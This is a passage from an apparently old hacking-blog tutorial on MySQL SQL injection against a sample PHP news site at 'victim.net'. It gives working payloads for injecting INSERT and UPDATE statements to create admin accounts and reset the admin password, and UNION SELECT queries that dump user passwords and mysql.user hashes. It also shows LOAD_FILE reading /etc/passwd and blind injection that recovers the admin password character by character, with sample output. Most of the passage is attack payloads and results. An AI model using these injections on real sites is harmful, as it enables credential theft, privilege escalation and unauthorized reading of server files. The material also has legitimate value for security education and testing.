to a user query. For example SELECT is used for login forms, browsing catalog, viewing<br />
users infos, user profiles, in search engines, etc. The &#8220;point of failure&#8221; is<br />
often the WHERE clause where exactly the users put their supplied arguments.</p>
<p>But sometimes happends that the &#8220;point of failure&#8221; is in the FROM clause; this<br />
happends very rarely.</p>
<p>INSERT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSERT statement is used to add new row in the table; and sometimes the application<br />
doesn&#8217;t properly sanitize the data, so a query like the beneath could be vulnerable:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8216;new&#8217;, &#8216;pwd&#8217;, 10)</p>
<p>What happends if the pwd or username are not safe? We can absolutely &#8220;hack the<br />
query&#8221; and perform a new interesting query as shown below:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8216;hacker&#8217;, &#8216;test&#8217;, 1)/*&#8217;, 3)</p>
<p>In this example the pwd field is unsafe and is used to create a new user with<br />
the admin privilege (privilege = 1):</p>
<p>$SQL= &#8220;INSERT INTO usr (user, pwd, id) VALUES (&#8216;new&#8217;, &#8216;&#8221;.$_GET['p'].&#8221;&#8216;, 3)&#8221;;</p>
<p>$result = mysql_query($SQL);</p>
<p>UPDATE Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>UPDATE statement is used (as the word says) to UPDATE one or more records.<br />
This type of statement is used when users (logged into the application) need<br />
to change their own profile information; such as password, the billing address,<br />
etc. An example of how the UPDATE statement works is shown below:</p>
<p>UPDATE usr SET pwd=&#8217;newpwd&#8217; WHERE user = &#8216;billyJoe&#8217; and password = &#8216;Billy&#8217;</p>
<p>The field pwd in the update_profile.php form is absolutely &#8220;a user-supply data&#8221;; so,<br />
try to imagine what happends if the code is like the (vulnerable) code pasted below:</p>
<p>$SQL = &#8220;UPDATE usr SET pwd=&#8217;&#8221;.$_GET['np'].&#8221;&#8216; WHERE user = &#8216;billyJoe&#8217; and pwd = &#8216;Billy&#8217;&#8221;;<br />
$result = mysql_query($SQL);</p>
<p>In this query the password needs to be correct (so, the user needs to know his own password <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )<br />
and the password will be supplied with the GET method; but leave out this detail (it&#8217;s not so important<br />
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that<br />
is not sanitized); what happeds if we will inject our code here? Let see below:</p>
<p>UPDATE usr SET pwd=&#8217;owned&#8217; WHERE user=&#8217;admin&#8217;/*&#8217; WHERE user = &#8216;ad&#8217; and pwd = &#8216;se&#8217;</p>
<p>here we just changed the admin password to &#8216; owned &#8216; <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  sounds interesting right?</p>
<p>UNION SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>The &#8220;UNION SELECT Statement&#8221; is used in SQL to combine the results of 2<br />
or more different SELECT query; obviously in one result.<br />
This kind of statement is very interesting because when you have a SELECT query<br />
often you can add your own UNION SELECT statement to combine the queries (sure,<br />
only if you have a &#8220;bugged sql statement&#8221;) and view the 2 (or more) results in only<br />
one result set. To better understand what I mean I think is better to see an interesting<br />
example and put our hands on it.</p>
<p>Here is our vulnerable code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'];</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8216;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>// Our query is TRUE<br />
if ($result) {<br />
echo &#8216;&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;&#8217;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {</p>
<p>echo &#8216;&lt;br&gt;Title:&#8217;.$row[1].&#8217;&lt;br&gt;&#8217;;<br />
echo &#8216;&lt;br&gt;News:&lt;br&gt;&#8217;.$row[2];<br />
}</p>
<p>}</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As we can see the $SQL variable is vulnerable and an attacker can inject his own<br />
code into it and then gain interesting information. What happends if via browser we<br />
call this URL: http://www.victim.net/CMS/view.php?id=1 ?</p>
<p>Nothing interesting, just our news with the ID equal to 1, here below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>How to make this interesting? <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  We can use our UNION SELECT operator, and the<br />
resultant query will be:</p>
<p>select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1</p>
<p>What is gonna happend? Look below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:secret</p>
<p>News:<br />
1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&#8220;Title: secret&#8221; is the admin password (ID = 1 is the admin in most cases) and the 1 in the &#8220;News:&#8221;<br />
is the admin ID. So, why our output is so strange? This is not strange our tables has been made<br />
in different ways. Just to make things clear look the tables below:</p>
<p>mysql&gt; select * from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| user   | pwd    | id    |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| admin | secret |    1 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| ad     | aaaaa  |    2 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| new   | test    |    5 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select * from news;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | title                | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 | testing news    | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    2 | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Our UNION SELECT query will be:</p>
<p>mysql&gt; select * from news where id = 1 union select * from usr where id = 1;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id      | title              | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1       | testing news | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| admin | secret          | 1                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Is now clear? We have found the admin password. It&#8217;s great!</p>
<p>Ok, lets go deeper; what happends if we have 2 tables with a different number of<br />
columns? Unfortunaltely UNION SELECT doesn&#8217;t work as show upon. I want to make<br />
2 different examples to help you.</p>
<p>LESS FIELDS<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| title               | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| testing news 2 | could be bypassed easily?      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews union select * from usr;<br />
ERROR 1222 (21000): The used SELECT statements have a different number of columns</p>
<p>Yes, this is what happends if the UNION SELECT is used and the tables have a different<br />
number of columns. So, what we can do to bypass this?</p>
<p>mysql&gt; select * from Anews union select id, CONCAT_WS(&#8216; &#8211; &#8216;, user, pwd) from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| title          | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   | admin &#8211; secret                |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 2                  | ad &#8211; aaaaa                      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5                 | new &#8211; test                       |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>We bypassed &#8220;the problem&#8221; just using a MySQL function CONCAT_WS (CONCAT can be used too).<br />
Take in mind that different DBMS works in different way. I&#8217;m explaining in a general manner; therefore<br />
sometimes you have to find other ways. <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>MORE FIELDS<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select * from fnews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id   | pri   | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|    1 |    0 | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>What we can do now? Easy, just add a NULL field!!</p>
<p>mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    1 | admin             | secre                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    2 | ad                 | aaaaa                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    5 | new               | test                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Basic Victim Fingerprinting ]</p>
<p>In this part of the paper I&#8217;ll explain some easy, but interesting, ways used while trying to do<br />
information gathering before the Vulnerability Assessment and Penetration Test steps.</p>
<p>This is our scenario: we found a bugged Web Application on the host and we can inject our<br />
SQL code.</p>
<p>So, what we need to know? Could be interesting to know the mysql server version;<br />
maybe it&#8217;s a bugged version and we can exploit it.</p>
<p>How to do that? (I will not use bugged code; I&#8217;ll just make some examples. Use your<br />
mind to understand how to use &#8220;these tips&#8221;)</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                               | pri     | title                | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                                |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5.0.22-Debian               | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Here our mysql version. Also the OS has been putted on the screen <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (take in mind that<br />
sometimes these information are modified).</p>
<p>Could be interesting to know the server time:</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id                           | pri     | title               | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1                            |    0   | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Yes, sometimes is useful to know what is the user used to connect to the database.</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                  | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| omni@localhost | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An interesting function implemented in mysql server is LOAD_FILE that, as the<br />
word say, is able to load a file. What we can do with this? gain information and<br />
read files. Here below the query used as example:</p>
<p>select * from news where id=1 union select NULL,NULL,LOAD_FILE(&#8216;/etc/passwd&#8217;) from usr;</p>
<p>This is what my FireFox shows to me:</p>
<p>http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(&#8216;/etc/password&#8217;)%20from%20usr;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:</p>
<p>News:<br />
root:x:0:0:root:/root:/bin/bash<br />
daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
[...]<br />
[output cutted]<br />
[...]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Sounds interesting right, don&#8217;t you?</p>
<p>Could be interesting to get some sensitive information such as mysql users and passwords<br />
right? By injecting our code as shown below we can get such that information.</p>
<p>SELECT * FROM news WHERE id=&#8217;1&#8242; UNION SELECT Host, User, Password FROM mysql.user/*&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Standard Blind SQL Injection ]</p>
<p>SQL Injection and Blind SQL Injection are attacks that are able to exploit a software<br />
vulnerability by injecting sql codes; but the main difference between these attacks<br />
is the method of determination of the vulnerability.</p>
<p>Yes, because in the Blind SQL Injection attacks, attacker will look the results<br />
of his/her requests (with different parameter values) and if these results will return<br />
the same information he/she could obtain some interesting data. (I know, it seems<br />
a bit strange; but between few lines you will understand better).</p>
<p>But why Standard Blind SQL Injection? What does it mean? In this part of the paper<br />
I&#8217;ll explain the basic way to obtain information with Blind SQL Injection without bear<br />
in mind that this type of attacks could be optimized. I don&#8217;t wanna talk about the<br />
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -<br />
&#8220;Optimizing the number of requests in blind SQL injection&#8221;).</p>
<p>Ok, let&#8217;s make a step forward and begin talking about Detection of Blind SQL Injection.<br />
To test this vulnerability we have to find a condition that is always true; for example<br />
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE<br />
condition we don&#8217;t know if our new injected query will be true or false; therefore<br />
we have to make some tests. When the query is true? The query is true when the record<br />
returned contain the correct information. Maybe is a little bit strange this explanation but<br />
to make things clear I wanna let you see an example. Suppose that we requested this<br />
URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As you can see we have just viewed our first news (id=1). What happends if we request<br />
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?<br />
In our browser we just see the same page because the query is obviously true.<br />
Here below the injected query:</p>
<p>SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1</p>
<p>Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand<br />
better how we can use this, I want to make a simple example/scenario. I&#8217;m thinking that<br />
the web application is connected to MySQL using the user omni; how to know this by using<br />
Blind SQL Injection? Just requesting this URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost&#8217;</p>
<p>and watch the reply sent on our browser. If in our FireFox (or whatever you want)<br />
we will see the news with ID=1 we know that omni is the user used to connect to<br />
the mysql deamon (because the query is true; and we found the true value to pass<br />
to the query).<br />
Let&#8217;s go deeper. What we can do with Blind SQL? Could be interesting to retrieve<br />
the admin password. How to do that? First of all to understand better the<br />
steps I&#8217;m going to explain we need to know some basic information.</p>
<p>Function used in MySQL:</p>
<p>- ASCII(str)<br />
Returns the numeric value of the leftmost character of the string str.<br />
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()<br />
works for 8-bit characters.</p>
<p>mysql&gt; select ascii(&#8216;a&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;A&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         97 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;b&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;b&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         98 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>- ORD(str)</p>
<p>If the leftmost character of the string str is a multi-byte character, returns<br />
the code for that character, calculated from the numeric values of its constituent<br />
bytes using this formula:</p>
<p>(1st byte code)<br />
+ (2nd byte code x 256)<br />
+ (3rd byte code x 2562) &#8230;</p>
<p>If the leftmost character is not a multi-byte character, ORD() returns the same value as<br />
the ASCII() function.</p>
<p>- SUBSTRING(str,pos), SUBSTRING(str  FROM pos),<br />
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)</p>
<p>The forms without a len argument return a substring from string str starting at position pos.<br />
The forms with a len argument return a substring len characters long from string str, starting<br />
at position pos.<br />
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value<br />
for pos. In this case, the beginning of the substring is pos characters from the end of the<br />
string, rather than the beginning.<br />
A negative value may be used for pos in any of the forms of this function.</p>
<p>- SUBSTR(str,pos), SUBSTR(str  FROM pos),<br />
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)</p>
<p>SUBSTR() is a synonym for SUBSTRING().</p>
<p>mysql&gt; select substring(&#8216;Blind SQL&#8217;, 1, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8216;Blind SQL&#8217;, 1, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| B                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select substring(&#8216;Blind SQL&#8217;, 2, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8216;Blind SQL&#8217;, 2, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| l                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- LOWER(str)</p>
<p>Returns the string str with all characters changed to lowercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT LOWER(&#8216;SQL&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| LOWER(&#8216;SQL&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| sql               |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- UPPER(str)</p>
<p>Returns the string str with all characters changed to uppercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT UPPER(&#8216;sql&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| UPPER(&#8216;sql&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| SQL           |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Now we have understood the principals MySQL functions that could be used while<br />
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)</p>
<p>What we need again? Suppose that we know for a moment the admin password: &#8220;secret&#8221;.</p>
<p>mysql&gt; select ascii(&#8216;s&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;s&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        115|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;e&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;e&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        101|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;c&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;c&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         99 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;r&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;r&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        114|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;t&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;t&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        116|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>It&#8217;s time to watch the source code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>[ ... ]</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'].&#8221; LIMIT 1&#8243;;</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8216;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>[ ... ]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Now, try to &#8220;exploit the bug&#8221; by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>The query is TRUE (we know that the first letter of the password is &#8216;s&#8217;) and therefore, the query will be:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1</p>
<p>What is the number 115? Read upon is the ascii value of the &#8216;s&#8217;. We retrieved the first character<br />
of the password (by using some MySQL functions).</p>
<p>.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)<br />
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case &#8216;s&#8217;)<br />
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)</p>
<p>And how to retrieve the second letter of the password? Just carry out this query:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1</p>
<p>by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101</p>
<p>The third character? And the others? Just make the same query with the right values.<br />
Take in mind that you can also use the &#8220;greater then&#8221; (&gt;) and &#8220;less then&#8221; (&lt;) symbols<br />
instead of the equal; to find the ASCII letter between a range of letters.<br />
Eg.: between 100 and 116; and so on.<br />
